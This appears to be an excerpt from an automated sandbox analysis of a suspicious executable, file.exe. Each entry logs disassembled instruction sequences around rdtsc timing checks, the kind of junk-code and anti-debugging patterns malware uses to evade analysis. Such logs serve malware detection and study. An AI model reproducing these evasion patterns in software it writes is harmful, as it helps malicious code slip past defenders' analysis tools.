Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1348DA2 second address: 1348DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jbe 00007F9F60E618BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1348DAF second address: 1348E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007F9F60D14448h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 0000001Bh 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 mov dword ptr [ebp+122D215Ah], edi 0x00000026 push dword ptr fs:[00000000h] 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007F9F60D14448h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 mov di, A318h 0x0000004b mov dword ptr fs:[00000000h], esp 0x00000052 mov dword ptr [ebp+122D1B1Ah], esi 0x00000058 mov eax, dword ptr [ebp+122D01A9h] 0x0000005e mov ebx, dword ptr [ebp+122D1B70h] 0x00000064 push FFFFFFFFh 0x00000066 jmp 00007F9F60D14459h 0x0000006b mov dword ptr [ebp+122D2D5Dh], ecx 0x00000071 nop 0x00000072 pushad 0x00000073 jmp 00007F9F60D14451h 0x00000078 jng 00007F9F60D1444Ch 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CCA0 second address: 134CCAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F9F60E618BCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC17B second address: 12EC17F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC17F second address: 12EC1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F60E618C8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F9F60E618BAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1354957 second address: 135495B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135495B second address: 135496D instructions: 0x00000000 rdtsc 0x00000002 js 00007F9F60E618B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F9F60E618BCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358530 second address: 1358536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358536 second address: 135858D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a pushad 0x0000000b jmp 00007F9F60E618C2h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edi 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007F9F60E618C1h 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 jp 00007F9F60E618B8h 0x00000026 jmp 00007F9F60E618BCh 0x0000002b popad 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 push edi 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13587AE second address: 13587DC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jne 00007F9F60D14452h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jl 00007F9F60D14454h 0x0000001a push eax 0x0000001b push edx 0x0000001c jng 00007F9F60D14446h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13588B6 second address: 13588BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135E3A3 second address: 135E3AD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9F60D14446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135E9DB second address: 135E9E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F9F60E618B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135E9E7 second address: 135E9F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F9F60D14446h 0x0000000a jno 00007F9F60D14446h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135EB69 second address: 135EB6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135ED46 second address: 135ED70 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9F60D14446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9F60D1444Ch 0x00000011 jmp 00007F9F60D14452h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F039 second address: 135F03D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F03D second address: 135F043 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F5D5 second address: 135F5DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F5DB second address: 135F5FC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F9F60D14455h 0x0000000e jmp 00007F9F60D1444Dh 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F5FC second address: 135F600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F600 second address: 135F604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13622EE second address: 13622FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F9F60E618BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1367DD9 second address: 1367DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1367DDF second address: 1367DE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EF4D8 second address: 12EF4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9F60D14446h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EF4E4 second address: 12EF502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jmp 00007F9F60E618C3h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13668ED second address: 13668F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1366B96 second address: 1366BBC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9F60E618CCh 0x00000008 jmp 00007F9F60E618C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F9F60E618B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1366E9E second address: 1366EA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1366EA2 second address: 1366EAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F9F60E618B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136703D second address: 1367041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1367041 second address: 1367057 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1367057 second address: 136705D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13672FC second address: 1367338 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9F60E618BEh 0x0000000e jmp 00007F9F60E618C2h 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13674D6 second address: 13674DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131CC22 second address: 131CC3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F60E618C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131CC3D second address: 131CC41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1367BF2 second address: 1367BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1367BF7 second address: 1367C10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60D14453h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1367C10 second address: 1367C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9F60E618B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1367C1A second address: 1367C41 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9F60D14446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9F60D14455h 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1367C41 second address: 1367C49 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D8E4 second address: 136D906 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60D14455h 0x00000007 pushad 0x00000008 jbe 00007F9F60D14446h 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1370E5D second address: 1370E95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618BFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F9F60E618C9h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1370E95 second address: 1370E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1331E2A second address: 1331E30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13321D3 second address: 13321D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133246B second address: 1332471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13325DB second address: 13325E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13326CB second address: 13326D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13326D5 second address: 13326D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13326D9 second address: 133270B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jc 00007F9F60E618C3h 0x0000000e nop 0x0000000f mov dx, 3150h 0x00000013 mov ecx, edx 0x00000015 push 00000004h 0x00000017 movsx edi, ax 0x0000001a nop 0x0000001b jnc 00007F9F60E618C4h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133270B second address: 133270F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13329C6 second address: 13329CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13329CD second address: 13329DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13329DA second address: 13329E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9F60E618B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332B8F second address: 1332BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jbe 00007F9F60D14446h 0x00000010 jne 00007F9F60D14446h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332BA6 second address: 1332BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F60E618C9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332CFF second address: 1332D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F9F60D1444Ah 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9F60D14458h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332D2C second address: 1332D4A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9F60E618B8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007F9F60E618BCh 0x00000018 jnc 00007F9F60E618B6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332D4A second address: 1332D6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9F60D14452h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332E2A second address: 1332E51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ch, BAh 0x0000000e lea eax, dword ptr [ebp+12493985h] 0x00000014 mov edi, dword ptr [ebp+122D3894h] 0x0000001a nop 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332E51 second address: 1332E55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332E55 second address: 131CC22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F9F60E618BCh 0x0000000c popad 0x0000000d push eax 0x0000000e jno 00007F9F60E618BEh 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F9F60E618B8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov ecx, dword ptr [ebp+122D17C0h] 0x00000035 lea eax, dword ptr [ebp+12493941h] 0x0000003b push 00000000h 0x0000003d push edx 0x0000003e call 00007F9F60E618B8h 0x00000043 pop edx 0x00000044 mov dword ptr [esp+04h], edx 0x00000048 add dword ptr [esp+04h], 00000015h 0x00000050 inc edx 0x00000051 push edx 0x00000052 ret 0x00000053 pop edx 0x00000054 ret 0x00000055 push eax 0x00000056 push ecx 0x00000057 jnl 00007F9F60E618BCh 0x0000005d pop ecx 0x0000005e mov dword ptr [esp], eax 0x00000061 mov cx, 277Ah 0x00000065 call dword ptr [ebp+122D1A25h] 0x0000006b push edi 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371279 second address: 1371289 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9F60D14452h 0x00000008 jns 00007F9F60D14446h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137164D second address: 1371651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137179B second address: 13717A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13717A0 second address: 13717A5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137760B second address: 137760F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137760F second address: 1377615 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1377615 second address: 1377621 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F9F60D14446h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13763FF second address: 137641A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9F60E618C3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137641A second address: 1376425 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F9F60D14446h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376425 second address: 137642B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137734A second address: 1377350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1377350 second address: 137735C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137735C second address: 137736A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F9F60D14464h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A511 second address: 137A519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A519 second address: 137A51D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D787 second address: 137D78B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D78B second address: 137D791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D791 second address: 137D7C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9F60E618C5h 0x0000000c jmp 00007F9F60E618C2h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D7C0 second address: 137D7D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9F60D1444Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D7D0 second address: 137D7D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D7D6 second address: 137D7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D7DC second address: 137D810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 jmp 00007F9F60E618C1h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9F60E618C9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D0D8 second address: 137D0DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D0DE second address: 137D0E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1383527 second address: 138352B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138352B second address: 138353B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jng 00007F9F60E618C2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138353B second address: 1383541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1383541 second address: 1383549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
